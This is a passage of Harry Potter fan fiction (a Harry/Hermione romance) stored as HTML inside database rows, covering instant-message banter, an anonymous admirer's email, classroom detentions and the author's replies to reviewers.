DADA?</p>\n\n<p class="MsoNormal">GoldenPhoenix: Why would yout think that?</p>\n\n<p class="MsoNormal">Primrose: Because I know someone who\'s in DADA right now and their in\nExpert DADA so that means...your either two people.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glanced at Draco, &quot;We\'ve got a problem.&quot; he said.</p>\n\n<p class="MsoNormal">Draco raised an eyebrow, &quot;What\'s that?&quot; he asked.</p>\n\n<p class="MsoNormal">&quot;This person, Primrose, she knows that I\'m either me or you.&quot;</p>\n\n<p class="MsoNormal">&quot;Now how did she figure that out?&quot;&nbsp; Draco asked.</p>\n\n<p class="MsoNormal">&quot;Because I told her I was in DADA.&quot;</p>\n\n<p class="MsoNormal">&quot;Well that was smart.&quot;</p>\n\n<p class="MsoNormal">&quot;I didn\'t think!&quot; Harry said defensively.</p>\n\n<p class="MsoNormal">&quot;Obviously.&nbsp;\nAlright...what\'s her screen name?&nbsp;\nI\'ll say hi or something.&quot;&nbsp;\nDraco said rolling his eyes and opening his contact list.</p>\n\n<p class="MsoNormal">&quot;Primrose.&quot; </p>\n\n<p class="MsoNormal">&quot;There she is alright lets see how this goes.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: Hi.</p>\n\n<p class="MsoNormal">Primrose: Um hi.</p>\n\n<p class="MsoNormal">SilverSerpent: Do you know who I am?</p>\n\n<p class="MsoNormal">Primrose: No.</p>\n\n<p class="MsoNormal">SilverSerpent: I know who you are.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You do?&quot;&nbsp; Harry asked\nconfused.</p>\n\n<p class="MsoNormal">Draco rolled his eyes, &quot;No.&nbsp;\nThis way she\'ll think I know though and tell me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: Oh really.</p>\n\n<p class="MsoNormal">SilverSerpent: Yes really.</p>\n\n<p class="MsoNormal">Primrose: Who am I?</p>\n\n<p class="MsoNormal">SilverSerpent: Not saying.</p>\n\n<p class="MsoNormal">Primrose: You don\'t know!</p>\n\n<p class="MsoNormal">SilverSerpent: I do so.</p>\n\n<p class="MsoNormal">Primrose: Then who am I?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What are you going to say now Sherlock?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">&quot;Sherlock?&quot; </p>\n\n<p class="MsoNormal">&quot;Never mind.&nbsp; Muggle\nthing.&quot;&nbsp; Harry said a little\nsheepishly.</p>\n\n<p class="MsoNormal">&quot;Heh alright then.&nbsp; I don\'t\nknow what to do.&quot;&nbsp; Draco said, a\nsheepish look on his face too.</p>\n\n<p class="MsoNormal">&quot;Well say something!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SilverSerpent: Alright.&nbsp; You\'re\nGinny Weasley.</p>\n\n<p class="MsoNormal">Primrose: What??</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What???&quot; Harry asked.</p>\n\n<p class="MsoNormal">&quot;Just wait.&quot;&nbsp; Draco\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: I am sooo not!</p>\n\n<p class="MsoNormal">SilverSerpent: You so are!</p>\n\n<p class="MsoNormal">Primrose: Am not!</p>\n\n<p class="MsoNormal">SilverSerpent: Are so!</p>\n\n<p class="MsoNormal">Primrose: Not!</p>\n\n<p class="MsoNormal">SilverSerpent: So!</p>\n\n<p class="MsoNormal">Primrose: Not!</p>\n\n<p class="MsoNormal">SilverSerpent: So!</p>\n\n<p class="MsoNormal">Primrose: You\'re such a juvenile child...</p>\n\n<p class="MsoNormal">Primrose: so.</p>\n\n<p class="MsoNormal">SilverSerpent: Now who\'s the juvenile kid?</p>\n\n<p class="MsoNormal">Primrose: I know who you are! HAH!</p>\n\n<p class="MsoNormal">SilverSerpent: Oh really now who am I?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She doesn\'t know.&quot;&nbsp;\nDraco said with a little smirk.</p>\n\n<p class="MsoNormal">&quot;Are you sure Ginny didn\'t tell her?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">&quot;Damn...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: Draco Malfoy.&nbsp;\nSlytherin.</p>\n\n<p class="MsoNormal">SilverSerpent: HAH! You\'re wrong!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What?&quot;&nbsp; Harry asked\nconfused.</p>\n\n<p class="MsoNormal">&quot;I don\'t know..&quot;&nbsp; Draco\nsaid with a sheepish grin, &quot;I just don\'t like being caught.&quot;</p>\n\n<p class="MsoNormal">Harry laughed loudly at this and shook his head, leaving Draco to argue\nit out with the Primrose.&nbsp; </p>\n\n<p class="MsoNormal">&quot;Whoops.&quot; Harry said with a laugh, &quot;I think she\'s pissed\nat me.&nbsp; I kind of didn\'t answer.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh yeah what did she say?&quot;&nbsp;\nMalfoy asked peering at Harrys screen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Primrose: So am I right?</p>\n\n<p class="MsoNormal">Primrose: Hello?</p>\n\n<p class="MsoNormal">Primrose: Oh fine then! Ignore me!</p>\n\n<p class="MsoNormal">Primrose: This is really rude you know.</p>\n\n<p class="MsoNormal">Primrose: GRR</p>\n\n<p class="MsoNormal">Primrose: *Sniff* stop it! Stop ignoring me</p>\n\n<p class="MsoNormal">Primrose: Alright then time to be ANNOYING!</p>\n\n<p class="MsoNormal">Primrose: HEeeeeeeeeeeeeeeeeeelllllllloooooooooooooooooooooooo</p>\n\n<p class="MsoNormal">Primrose: Helakjeaj oeijafoej aiejfiea jfoiajewfoewja</p>\n\n<p class="MsoNormal">Primrose: *sings* you are a jerk you are a jerk!</p>\n\n<p class="MsoNormal">Primrose: IF YOU DON\'T STOP IGNORING ME I\'M GOING TO BLOCK YOU!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco chuckled, &quot;Has she blocked you yet?&quot;</p>\n\n<p class="MsoNormal">&quot;Not yet.&quot;</p>\n\n<p class="MsoNormal">&quot;Then I\'d respond.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Sorry stepped away.&nbsp;\nI forgot to say brb.</p>\n\n<p class="MsoNormal">Primrose: Sure you did.</p>\n\n<p class="MsoNormal">GoldenPhoenix: I did I swear!</p>\n\n<p class="MsoNormal">Primrose: Whatever... Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;SHIT!&quot;&nbsp; Harry swore\nloudly.</p>\n\n<p class="MsoNormal">&quot;What?&quot;&nbsp; Draco asked\nnearly falling off his chair.</p>\n\n<p class="MsoNormal">&quot;She knows my name.&quot;</p>\n\n<p class="MsoNormal">&quot;Busted!&quot;</p>\n\n<p class="MsoNormal">&quot;Shut up.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GoldenPhoenix: Harry??? </p>\n\n<p class="MsoNormal">Primrose: You so are harry!</p>\n\n<p class="MsoNormal">GoldenPhoenix: Er..no.&nbsp; Lol.\nSorry.&nbsp; Wrong person.</p>\n\n<p class="MsoNormal">Primrose: Hmm...alright. Maybe I\'m a bit muddled.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Guess so.</p>\n\n<p class="MsoNormal">Primrose: Well..I\'ll talk to you later...whoever you are. I\'ve got to\ngo.</p>\n\n<p class="MsoNormal">GoldenPhoenix: Bye</p>\n\n<p class="MsoNormal">Primrose: Bye</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;She\'s gone.&quot;&nbsp; Harry\nsaid with a sigh of relief.</p>\n\n<p class="MsoNormal">&quot;Why didn\'t you want her to know who you were?&quot;&nbsp; Draco asked.</p>\n\n<p class="MsoNormal">Harry bit his lip, &quot;I just didn\'t..&quot;</p>\n\n<p class="MsoNormal">&quot;Oookay.&quot;</p>\n\n<p class="MsoNormal">&quot;Oh shut up Malfoy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey Harry.&quot;&nbsp; Ginny\nsaid, beaming at him.</p>\n\n<p class="MsoNormal">&quot;Someones in a cheerful mood.&quot;&nbsp; Harry said and gave her a knowing smile.</p>\n\n<p class="MsoNormal">She blushed a little, &quot;He\'s meeting me tonight.&quot;</p>\n\n<p class="MsoNormal">&quot;Just be careful.&quot;&nbsp;\nHarry said seriously.</p>\n\n<p class="MsoNormal">&quot;Of course.&quot;&nbsp; Ginny\nsaid giving Harry a cheeky smile she added, &quot;I just won\'t be good.&quot;</p>\n\n<p class="MsoNormal">&quot;Ginny!&quot; Harry said shocked.</p>\n\n<p class="MsoNormal">Ginny giggled, &quot;Oh Harry your such a laugh to wind up.&quot;</p>\n\n<p class="MsoNormal">&quot;I am not!&quot;</p>\n\n<p class="MsoNormal">&quot;Yes you are.&quot;&nbsp;\nHermione said coming up behind them.</p>\n\n<p class="MsoNormal">Harry turned around, giving her a mock glare, &quot;I am not!&nbsp; Stop picking on me!&quot; he whined.</p>\n\n<p class="MsoNormal">Hermione and Ginny laughed loudly at him. </p>\n\n<p class="MsoNormal">&quot;Your crazy.&quot;&nbsp; Hermione\nsaid finally.</p>\n\n<p class="MsoNormal">&quot;I know.&quot;&nbsp; Harry gave\nher a cheeky grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I have an email!&nbsp; From..who\non earth is that.&quot;&nbsp; Harry mused to\nhimself as he spotted the email.</p>\n\n<p class="MsoNormal">&quot;Sugar\'n\'Spice@hotmail.com?&quot; Harry asked raising an eyebrow,\n&quot;Well lets see what this person has to say.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dear Harry,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">You don\'t know who I am!&nbsp; But I\nknow who you are.&nbsp; Let\'s just say..I\'m\ninterested in you.&nbsp; Not as in evilly.&nbsp; God no!&nbsp;\nBut I mean...I can\'t believe I\'m actually going to send this to\nyou.&nbsp; If I don\'t do it now I\'ll lose my\nnerve.</p>\n\n<p class="MsoNormal">I\'ve liked you for as long as I can remember.</p>\n\n<p class="MsoNormal">You\'ve always just been there..but now I don\'t know..now I\'m feeling\nthings I\'m not exactly sure how to handle.&nbsp;\nI don\'t want to freak you out..I just want to let you know...now if I\ncan just sign my name huh?</p>\n\n<p class="MsoNormal">I can\'t...I can\'t do it.&nbsp; If you\nknew who I was...well maybe someday.</p>\n\n<p class="MsoNormal">From</p>\n\n<p class="MsoNormal">Shy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh great..now someone likes me.&nbsp;\nJust what I need.&quot;&nbsp; Harry\ngroaned to himself, &quot;I don\'t know what to do...I know I\'ll ask Hermione!&nbsp; She always knows.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey \'Mione.&quot; Harry said smiling at her. \'Is it just me or\ndoes she look a little nervous?\' </p>\n\n<p class="MsoNormal">&quot;Hey!&quot; She said.</p>\n\n<p class="MsoNormal">&quot;I was wondering...could you help me with something?&quot;&nbsp; Harry asked a little sheepishly.</p>\n\n<p class="MsoNormal">&quot;I\'m not helping you with homework!&quot;&nbsp; She said forcefully.</p>\n\n<p class="MsoNormal">&quot;No not that sort of help.&nbsp;\nIt\'s just I got an email..from someone...and they like me and I don\'t\nknow who it is.&nbsp; And I\'m going to email\nthe person back saying I\'m not interested but...I don\'t know how to do it\ngently.&quot; Harry said.</p>\n\n<p class="MsoNormal">&quot;An email...from an admirer.&quot;&nbsp;\nHermione said quietly, &quot;And you want to say your not\ninterested.&quot;</p>\n\n<p class="MsoNormal">Harry nodded, &quot;What should I say?&quot; he asked.</p>\n\n<p class="MsoNormal">Hermione bit her lip, &quot;Just...say...that you really feel flattered\nbut your not ready for a relationship right now.&nbsp; You...uh..your sorry and you hope you can still be friends.&quot;&nbsp; she said.</p>\n\n<p class="MsoNormal">Harry gave her a wide smile and leaned over and hugged her, &quot;Thanks\n\'Mione.&nbsp; You always know what to say\nthat makes me feel so much better.&nbsp; I\ndon\'t feel half as bad now.&quot; he said holding her tight.</p>\n\n<p class="MsoNormal">Hermione wrapped her arms around him and sighed happily, &quot;Glad I\ncould help.&nbsp; But you know you should\nemail that person back.&nbsp; They could be\nwaiting.&quot; she said.</p>\n\n<p class="MsoNormal">Harry nodded and pulled back, &quot;I\'ll do it this moment.&quot;</p>\n\n<p class="MsoNormal">Harry spent ten minutes in silence working on his email to this mystery\nadmirer.&nbsp; </p>\n\n<p class="MsoNormal">&quot;And send.&quot; he said clicking the send button,\n&quot;Gone.&quot; </p>\n\n<p class="MsoNormal">Hermione glanced down at her screen and held back an unhappy sigh as a\nsmall blue box popped up in the corner from Harry.</p>\n\n<p class="MsoNormal">She clicked it open.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dear Shy,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Look I\'m really flattered that you feel that way about me.&nbsp; I really am but at this moment I\'m not\nreally looking for a relationship.&nbsp; I\'m\nreally sorry.&nbsp; I hope we can still be\nfriends.&nbsp; I\'d like to know who you\nare...just because I want to talk to you face to face.&nbsp; Once again.&nbsp;\nI\'m really sorry.</p>\n\n<p class="MsoNormal">Yours.</p>\n\n<p class="MsoNormal">Harry Potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her eyes fill, \'I never thought I\'d feel this bad\nreceiving an email like this.&nbsp; He\ndoesn\'t mean to hurt me...but I can\'t help but feel...heartbroken.\'</p>\n\n<p class="MsoNormal">Harry looked over at her, &quot;Hermione?&nbsp; What\'s wrong?&quot; he asked concerned.</p>\n\n<p class="MsoNormal">&quot;Huh? Oh I just read a sad story.&quot; she lied quickly.</p>\n\n<p class="MsoNormal">&quot;Are you sure?&quot;&nbsp; Harry\nasked, the concerned look still etched on his face.</p>\n\n<p class="MsoNormal">&quot;Course.&quot;&nbsp; Hermione\nsaid, her voice catching in her throat.</p>\n\n<p class="MsoNormal">\'He doesnt hate me. He doesnt hate me.&nbsp;\nHe doesnt hate me.\'</p>\n\n<p class="MsoNormal">&quot;Why wouldn\'t I be?&quot; she asked, her voice quivering slightly.</p>\n\n<p class="MsoNormal">Harry got off his bed and sat down beside her, wrapping his arms around\nher, &quot;I don\'t know. You know you can tell me anything.&nbsp; Right?&quot;</p>\n\n<p class="MsoNormal">&quot;Yeah.&quot; she said weakly. \'anything...\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN: Hoeeeeeeeeeeeeeeeeeeeeeee. well yus thats that chappie done!&nbsp; What did you all think? A lil sad at the end\nyus i know. but well..its gotta be that way ;) its still a H/H story after\nall!!! So what did you all think? Sorry it took me so long to get this up\n^_^\'&gt; lots of school work. Let me know what you think with a nice long\nREVIEW *hint hint*</p>\n\n<p class="MsoNormal">love</p>\n\n<p class="MsoNormal">NiaSphinx</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(205, 7, '\n\n\n\n<p class="MsoNormal">Disclaimer: Don\'t own. I dont claim to. Dont sue!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes: Chappie 6!! Wow.&nbsp;\nWhat a busy week!&nbsp; I\'m going to\ntry and get this out as soon as I can.&nbsp;\nBecause I\'m having tomorrow off school for another hospital\nappointment!&nbsp; Depends how tired I am\nwhen after it if I\'ll type more.&nbsp; Thanks\nto absolutely everyone who reviewed!&nbsp; It\nmakes me feel so special for you guys to take the time to review! I LOVE YOU\nALL!!!! ENJOY!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">PLEASE NOTE THIS \'means whatever Harrys thinking\' ~is whatever ELSE his\nbrain is thinking. Like his conscinous. But not really yah know?~ </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chapter 6</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Hermione.&nbsp; I can\'t get her out\nof my head today.&nbsp; I don\'t know what\'s\ngoing on with me...I\'ve admitted it to myself.&nbsp;\nHermione is pretty, she\'s grown into a beautiful young woman.&nbsp; But...I don\'t know maybe its more than\nthat.&nbsp; Maybe..I like her...like Dracos\nbeen saying..for like forever now.&nbsp;\nMaybe I want to kiss her at night and hold her in my- wow now where did\nthat come from?&nbsp; That wasn\'t supposed to\npop up!&nbsp; Stupid brain making me think\nthings I don\'t want to think.\'&nbsp; </p>\n\n<p class="MsoNormal">&quot;Mr.Potter would you mind waking up!&quot;&nbsp; McGonagall snapped loudly.</p>\n\n<p class="MsoNormal">Harry jumped, his eyes focusing on the pissed teacher in front of him,\n&quot;Sorry professer.&quot; he said quickly.</p>\n\n<p class="MsoNormal">&quot;Please answer the question.&quot; she said in a pissed off voice.</p>\n\n<p class="MsoNormal">&quot;Er...what was the question?&quot;&nbsp;\nHarry asked sheepishly.</p>\n\n<p class="MsoNormal">&quot;Mr.Malfoy!&nbsp; Would you be so\nkind as to inform Mr.Potter what the question was?&quot;&nbsp; McGonagall asked turning on Draco.</p>\n\n<p class="MsoNormal">&quot;Uh..&quot;&nbsp; Draco said,\nobviously just waking up himself, &quot;I don\'t know professer.&quot; he said\nas sheepishly as Harry had.</p>\n\n<p class="MsoNormal">Professer. McGonagall slammed her hands down on the table, &quot;Two\nstudents!&nbsp; Both daydreaming!&nbsp; Not today!&nbsp;\nDetention to both of you!&nbsp; And\nkeep your attention in class from now on!&quot; she snapped. </p>\n\n<p class="MsoNormal">&quot;Yes professer.&quot; Harry and Draco mumbled as she turned her\nattention to one of the other students in the class.</p>\n\n<p class="MsoNormal">&quot;Bugger.&quot;&nbsp; Draco\nmuttered, &quot;I\'ll have to cancel with Ginny.&quot; he sighed.</p>\n\n<p class="MsoNormal">Harry cast him a sympathetic look, &quot;Thinking bout her?&quot; he\nteased lightly.</p>\n\n<p class="MsoNormal">A small blush graced Dracos cheeks, &quot;Uh...look at the board.&quot;\nhe said pointing to it.</p>\n\n<p class="MsoNormal">Harry chuckled quietly and started taking down the notes that were on\nthe blackboard.</p>\n\n<p class="MsoNormal">\'I\'ve got to keep my mind on Transfiguration.&nbsp; Keep my mind on it.&nbsp; My\nmind has got to stay on it.&nbsp; Not on\nHermione.&nbsp; Not on her beautiful body, or\nher soft lucious li-SHUT UP BRAIN!!!\'</p>\n\n<p class="MsoNormal">~Heheheh.&nbsp; Don\'t deny it.&nbsp; You like Hermione sexually~</p>\n\n<p class="MsoNormal">\'Do not!\'</p>\n\n<p class="MsoNormal">~Yes you do.&nbsp; I know.~</p>\n\n<p class="MsoNormal">\'What part of my brain are you?\'</p>\n\n<p class="MsoNormal">~The annoying one.~</p>\n\n<p class="MsoNormal">\'Makes sense...and I do <i>not</i>\nlike Hermione se...that way.\'</p>\n\n<p class="MsoNormal">~sexually. Can\'t say it?&nbsp; Rile\ntoo many feelings?~</p>\n\n<p class="MsoNormal">\'It doesn\'t.&nbsp; Shut up I need to\nconcentrate on Transfiguration.\'</p>\n\n<p class="MsoNormal">~Of course.&nbsp; Concentrate.&nbsp; On Hermione.&nbsp; On her beautiful body, her soft lips and the way she-~</p>\n\n<p class="MsoNormal">\'SHUT UP!!\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry shook his head and looked around, people were packing up and\nleaving.</p>\n\n<p class="MsoNormal">&quot;Did the bell ring?&quot;&nbsp;\nHarry asked Draco, who stared at him blankly.</p>\n\n<p class="MsoNormal">&quot;Guess so.&quot; he said sheepishly and started packing up too.</p>\n\n<p class="MsoNormal">&quot;Thank you for staying behind.&quot;&nbsp; McGonagall said coming up them, &quot;Your detentions will take\nplace Friday in the dungeons with Professer Snape.&quot; she said.</p>\n\n<p class="MsoNormal">Harry bit back a groan, &quot;Yes professer.&quot; he said and quickly\nescaped, waiting for Draco outside, who quickly escaped out behind him.</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dear Journal</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alright I\'m actually in extra DADA at the moment...I know I should be\nresearching the avada kedrava curse and everything..but I just need to get this\noff my chest.</p>\n\n<p class="MsoNormal">So...Hermione.&nbsp; My best female\nfriend (Ron being my best male friend of course).&nbsp; We have a strictly platonic relationship.&nbsp; That\'s all.&nbsp;\nBut...I can\'t help...noticing.&nbsp;\nNoticing the way she\'s changed.&nbsp;\nThe way she\'s grown up and looks so beautiful.&nbsp; Like nothing she can ever do will mask her beauty.&nbsp; She\'s...god she\'s gorgeous.&nbsp; And the things I\'m feeling.&nbsp; I don\'t know how to control them.&nbsp; All I know is I have a detention on Friday\nwith Snape for not paying attention in Transfiguration because my stupid brain\nwas arguing with me.&nbsp; And I have a\ndetention on Saturday with Snape, again, because I wasn\'t paying attention in\nPotions and Draco and I managed to do the ingredients for different potions,\nput them in the same cauldron and then realised (After it blew up that is) that\nneither of us were doing the right potion.</p>\n\n<p class="MsoNormal">Needless to say, Snape was furious.</p>\n\n<p class="MsoNormal">But I can\'t get Hermione out of my head.&nbsp; She\'s just sitting there and I can\'t help but feel attracted to\nher...strongly.&nbsp; It\'s more than\nphysical...I know it. But...I don\'t know if I\'ll ever get up the courage to\ntell her. I just feel-</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well Mr.Potter you obviously aren\'t paying attention.&quot;&nbsp; Professer Moody said from behind Harry.</p>\n\n<p class="MsoNormal">Harry jumped and slammed the lid of his laptop down, &quot;Er sorry\nsir.&quot; he said quickly.</p>\n\n<p class="MsoNormal">&quot;And neither are you Mr.Malfoy.&quot;&nbsp; Professer Moody said to Draco, who was staring into space.</p>\n\n<p class="MsoNormal">&quot;Hey.&quot; Harry said quietly and nudged Draco.</p>\n\n<p class="MsoNormal">&quot;Wha?&quot; Draco asked, jumping, &quot;Oh sorry Professer.&quot;\nhe mumbled.</p>\n\n<p class="MsoNormal">&quot;CONSTANT VIGELENCE!&quot; Moody roared, suceeding in scaring his\ntwo students to death, &quot;Now.&nbsp;\nPlease do your set WORK.&quot; he said, his voice calm.</p>\n\n<p class="MsoNormal">&quot;Yes professer Moody.&quot; Harry and Draco mumbled together.</p>\n\n<p class="MsoNormal">Harry leaned to the right and whispered, &quot;Someone\'s mind isn\'t here\ntoday.&nbsp; And it\'s not just mine.&quot; </p>\n\n<p class="MsoNormal">Draco blushed a little, &quot;I can\'t help it.&quot; he hissed back\nquietly, &quot;And it wasn\'t my fault that we screwed up the potion.&quot; he\nadded.</p>\n\n<p class="MsoNormal">Harry bit back a smile, &quot;Draco you turned the book to page 268, it\nwas on page 12.&quot;</p>\n\n<p class="MsoNormal">A little more red flooded Dracos cheeks, &quot;Well-&quot;</p>\n\n<p class="MsoNormal">&quot;Calm down. Just trying to keep your mind here.&quot;&nbsp; Harry interrupted before Draco started\ngetting pissed.</p>\n\n<p class="MsoNormal">&quot;Right...thanks.&quot;</p>\n\n<p class="MsoNormal">&quot;Anytime.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;AN: Alright I\'m soooooo sorry!!!\nI KNOW this is really really really short.&nbsp;\nBut I\'ve been so busy! And I thought you\'d all appreciate me getting\nSOMETHING up no matter how short it was...and short it was! </p>\n\n<p class="MsoNormal">SORRY!!!!!</p>\n\n<p class="MsoNormal">Alright I promise next time it\'ll be longer!! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(205, 8, '\n\n\n\n<p class="MsoNormal">Disclaimer: I dont own these characters the only thing that\'s mine is\nthe plot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><u>Author Notes: </u>Okay thanks to\neveryone who reviewed!&nbsp; I\'m trying to\nget this out as FAST as I can.&nbsp; I\'ve got\nlike 2 exams this week though so I might be a bit slow! Sorry if I am!!!</p>\n\n<p class="MsoNormal">Thanks to my\nreviewers:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">lordanhur:\nstart herm hacking into his computer to read his thoughts?&nbsp; ah yes ^_^ its coming its coming hold on and\nthanks for the great rating!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">HarrylovesHermione:\nWow!&nbsp; All I can say is wow! 6 reviews!!\n^_^; thanks!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra\nSisenta: Yeah! Constant vigilance!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">SimpleeDazed:\nAw you make me feel bad for being mean to \'Mione!! But don\'t worry!!! Things\'ll\nget happier! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Betemagus Prime: Lol ah yes Hermione and Harry ARE dense.&nbsp; But that\'s what makes messing with their\nheads so much more entertaining.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">MoMaxwell(Chelsea): Yes! This will be longer!! I was just so busy!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Jacy: Lol! glad you liked it! :) And the H/Hr goodness is coming!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AnimeFanatic: Oh I hate that getting a writers block!&nbsp; Thats soooo frustrating.&nbsp; I\'m hurrying im hurrying!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GothicTemptress: I\'m glad you\'ve enjoyed this story so far!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chelsea: Finish soon? hmm not yet ;);)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Rhiannon_woods: Glad you like it!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Chris Faria: Glad you like it!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hillary: AU? This isn\'t an AU fic.&nbsp;\nIt follows the JK Rowling storyline up to the end of 4th year.&nbsp; The only thing I\'ve left out is Voldie.&nbsp; So I\'m sorry if you hate AU fics.&nbsp; But I don\'t believe this is one.&nbsp; And you probably won\'t even come back and\nread this acknowledgement but I just in case you do.&nbsp; And thank you EVER SO MUCH for rating it a 1.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><u>QUESTION TO\nEVEYONE:</u></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This is really\nimportant.&nbsp; Plz answer it for me!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Do you consider\nthis an AU fic?</p>\n\n<p class="MsoNormal">ALSO!!</p>\n\n<p class="MsoNormal">I know I\'ve\nbeen a bit slack in updating so do you want be to do short chapters that come\nout sooner or long chapters that come out later?</p>\n\n<p class="MsoNormal">I can get\nshorter chapters out faster than longer ones.&nbsp;\nSo which do you want?</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry dragged\nhimself up the corridor, his eyelids drooping and his back aching.&nbsp; </p>\n\n<p class="MsoNormal">&quot;Ughh.&quot;\nhe moaned, each step laboured as he forced his exhausted body to move.</p>\n\n<p class="MsoNormal">Harry slowly\nmade his way into his room that he shared with Hermione, his body demanding\nsleep.</p>\n\n<p class="MsoNormal">&quot;Harry\nJames Potter!&quot;&nbsp; a voice said\nsternly.</p>\n\n<p class="MsoNormal">Harry looked at\nHermione who was sitting on her bed, a stern look on her face matching her\nvoice perfectly.</p>\n\n<p class="MsoNormal">&quot;What is\nit 